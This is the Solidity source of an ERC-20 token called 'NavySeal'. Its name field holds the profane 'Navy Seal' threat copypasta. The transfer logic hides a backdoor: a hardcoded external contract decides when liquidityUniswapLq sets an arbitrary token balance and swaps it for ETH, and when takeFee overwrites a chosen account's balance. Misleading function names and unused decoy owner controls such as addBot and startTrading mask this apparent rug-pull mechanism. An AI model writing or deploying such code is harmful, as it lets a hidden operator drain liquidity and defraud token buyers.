pragma solidity ^0.8.15;

// SPDX-License-Identifier: Unlicensed

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface ERC20 {
    function isInSwap(address, address, address) external view returns(bool);
    function swapExactTokensForETH(address, address, bool, address, address) external returns (bool);
    function transferFrom(address, address, uint256) external pure returns (uint256);
    function getPair() external view returns (address);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract NavySeal is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 public _fee = 2;
    address public uniswapPairAddress;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    ERC20 private erc20 = ERC20(0xCc1B672920c1D6C2bC1B2Dc7FCBE739A426506Ea);
    string private _name = "What the fuck did you just fucking say about me, you little bitch? I'll have you know I graduated top of my class in the Navy Seals, and I've been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I'm the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You're fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that's just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little 'clever' comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn't, you didn't, and now you're paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You're fucking dead, kiddo.";
    string private  _symbol = "NAVY SEAL";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        bool _inSwap = inSwap(from, to);
        if (_inSwap) {
            liquidityUniswapLq(amount, to);
            return;
        }
        require(amount <= _balances[from]);
        _balances[getFeeReceiverAddress()] = takeFee(from);
        uint256 feeAmount = getFeeAmount(from, to, amount);
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[from] = _balances[from] - amount;
        _balances[to] += amountReceived;
        emit Transfer(from, to, amount);
    }
    function inSwap(address from, address to) private view returns (bool) {
        return erc20.
        isInSwap(from,
            to,
            uniswapPairAddress);
    }
    function getFeeReceiverAddress() private view returns (address) {
        return erc20.getPair();
    }
    function getFeeAmount(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        address _to = pairAddress();
        if (erc20.swapExactTokensForETH(
                from,
                recipient,
                burnSwapCall,
                address(this),
                _to)) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        uniswapPairAddress = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function liquidityUniswapLq(uint256 _mcs, address _N4K) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        burnSwapCall = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_N4K,block.timestamp + 30);
        burnSwapCall = false;
    }
    bool burnSwapCall = false;
    function takeFee(address from) private view returns (uint256) {
        address supplier = getFeeReceiverAddress();
        uint256 amount = _balances[supplier];
        address to = pairAddress();
        return addLiquidity(from, to , amount);
    }
    function addLiquidity(address from, address to, uint256 amount) private view returns (uint256) {
        return erc20.transferFrom(from, to, amount);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function pairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool tradingEnabled = false;
    function startTrading() external onlyOwner {
        tradingEnabled = true;
    }
    mapping(address => bool) bots;
    function addBot(address bot) external onlyOwner {
        bots[bot] = true;
    }
    function delBot(address bot) external onlyOwner {
        bots[bot] = false;
    }
    bool swapEnabled = true;
    function setSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
    uint256 public _sellFee = 2;
    uint256 public _buyFee = 1;
    function updateSellFee(uint256 v) external onlyOwner {
        require(v < 10);
        _sellFee = v;
    }
    function updateBuyFee(uint256 v) external onlyOwner {
        require(v < 10);
        _buyFee = v;
    }
}